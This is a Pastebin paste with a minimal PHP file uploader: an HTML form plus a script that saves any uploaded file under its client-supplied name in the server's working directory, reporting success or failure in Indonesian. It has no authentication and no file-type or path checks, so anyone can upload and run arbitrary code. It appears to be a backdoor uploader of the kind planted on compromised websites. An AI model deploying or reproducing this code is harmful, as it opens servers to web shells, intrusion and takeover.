Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- </head>
- <body>
- <hr/>
- <div class='card'><br />
- <form method='POST' enctype='multipart/form-data' name='uploader' id='uploader'>
- <font color='black'>
- <input class='btn btn-danger btn-sm' type='file' name='file' size='60'>
- <input class='btn btn-info' type='submit' value='Upload' name="upload">
- </font>
- </div>
- <hr/>
- </body>
- </html>
- <?php
- if (isset($_POST['upload'])) {
- $nama = $_FILES['file']['name'];
- $file_tmp = $_FILES['file']['tmp_name'];
- if (move_uploaded_file($file_tmp, $nama)) {
- echo '<script>
- alert("Upload Berhasil")
- </script>';
- }else{
- echo "Gagal!";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement